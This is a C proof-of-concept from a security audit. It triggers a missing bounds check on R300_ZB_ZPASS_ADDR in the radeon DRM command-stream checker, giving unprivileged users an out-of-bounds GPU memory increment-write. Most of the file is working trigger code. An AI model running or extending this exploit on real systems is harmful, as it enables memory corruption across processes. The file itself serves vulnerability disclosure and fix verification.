DF-4278 / zpass_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | /* * DF-4278 trigger sketch โ R300_ZB_ZPASS_ADDR CS-checker gap * ========================================================== * * File audited: sys/dev/drm/radeon/r300.c case R300_ZB_ZPASS_ADDR (0x4f5c), * reached from unprivileged userspace via DRM_IOCTL_RADEON_CS. * * The CS checker validates every other GPU-address-bearing register against * the size of the relocation target BO: * - R300_RB3D_COLOROFFSET0..3 -> track->cb[i], checked in r100_cs_track_check * (r100.c:2264: size = pitch*cpp*maxy + offset <= bo_size) * - R300_ZB_DEPTHOFFSET -> track->zb, checked (r100.c:2283) * - R300_RB3D_AARESOLVE_OFFSET -> track->aa, checked (r100.c:2303) * - R300_TX_OFFSET_0..15 -> track->textures, checked in texture check * For R300_ZB_ZPASS_ADDR (r300.c:1073-1082) the checker ONLY patches the * immediate with the relocation BO's gpu_offset and records NOTHING: * * ib[idx] = idx_value + ((u32)reloc->gpu_offset); * * idx_value is the raw user-supplied u32. The GPU's Z-pass (occlusion) * counter unit then accumulates pixel counts at GPU VA * (reloc_bo_gpu_offset + idx_value) โ an attacker-chosen u32 offset past the * BO base, i.e. an increment-write primitive anywhere in the 32-bit GPU * address space (GTT and VRAM: other processes' BOs, the radeon IB pool, * scanout buffers). * * This trigger submits a 4-dword CS whose ZB_ZPASS_ADDR immediate is * 0xF0000000 โ ~3.75 GB past a small GTT BO โ which the checker accepts. * * NOT RUNNABLE on the audit guest: the QEMU guest has no ATI/radeon GPU * (see env.txt). Requires r300..rv570-class hardware with the radeon KMS * driver loaded. Pure-ioctl (no libdrm) for portability. * * Build: cc -O2 -o zpass_oob zpass_oob.c * Run: ./zpass_oob (expects /dev/dri/card0 or /dev/dri/renderD128) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> #include <dev/drm/include/drm/radeon_drm.h> /* on DragonFly: radeon_drm.h */ #ifndef RADEON_GEM_DOMAIN_GTT #define RADEON_GEM_DOMAIN_GTT (1 << 2) #endif #define R300_ZB_ZPASS_ADDR_REG 0x4f5c /* PACKET0(reg, count): type0<<30 | count<<16 | (reg>>2 & 0x1fff) */ #define P0(reg, n) ((0u << 30) | (((n) & 0x3FFFu) << 16) | (((reg) >> 2) & 0x1FFFu)) /* PACKET3 NOP with 1 payload dword: type3<<30 | 1<<16 | opcode 0x10 (NOP) */ #define P3_NOP_1 (0xC0000000u | (1u << 16) | 0x1000u) int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd = open(path, O_RDWR | O_CLOEXEC); if (fd < 0) { perror("open drm device"); return 1; } /* 1. create a small GTT BO */ struct drm_radeon_gem_create gc = { .size = 4096, .alignment = 4096, .initial_domain = RADEON_GEM_DOMAIN_GTT, .flags = 0, }; if (ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE, &gc)) { perror("gem_create"); return 1; } /* 2. CS with: * dword0: PACKET0(R300_ZB_ZPASS_ADDR, 0) * dword1: 0xF0000000 <- attacker offset far past the 4 KiB BO * dword2: PACKET3 NOP count=1 (reloc carrier) * dword3: reloc handle for dword1 */ uint32_t ib[4] = { P0(R300_ZB_ZPASS_ADDR_REG, 0), 0xF0000000u, P3_NOP_1, (uint32_t)gc.handle, }; struct drm_radeon_cs_chunk ib_chunk = { .chunk_id = RADEON_CHUNK_ID_IB, .length_dw = 4, .chunk_data = (uint64_t)(uintptr_t)ib, }; struct drm_radeon_cs_chunk flags_chunk = { .chunk_id = RADEON_CHUNK_ID_FLAGS, .length_dw = 1, .chunk_data = (uint64_t)(uintptr_t)&(uint32_t){0}, }; struct drm_radeon_reloc reloc = { .handle = (uint32_t)gc.handle, .read_domains = RADEON_GEM_DOMAIN_GTT, .write_domains = RADEON_GEM_DOMAIN_GTT, .flags = 0, }; struct drm_radeon_cs_chunk reloc_chunk = { .chunk_id = RADEON_CHUNK_ID_RELOCS, .length_dw = 1, .chunk_data = (uint64_t)(uintptr_t)&reloc, }; struct drm_radeon_cs_chunk *chunks[3] = { &ib_chunk, &reloc_chunk, &flags_chunk }; struct drm_radeon_cs cs = { .num_chunks = 3, .chunks = (uint64_t)(uintptr_t)chunks, }; /* Expected on vulnerable kernel: ioctl SUCCEEDS (no bounds check on the * 0xF0000000 offset). With the proposed fix: -EINVAL. * On hw, any subsequent draw with the Z-pass count enabled makes the SC * unit increment memory at bo_gpu_offset + 0xF0000000. */ if (ioctl(fd, DRM_IOCTL_RADEON_CS, &cs)) { perror("RADEON_CS (rejected => possibly fixed)"); return 2; } printf("CS accepted: zpass GPU write target = bo_gpu_offset + 0xF0000000\n"); return 0; } |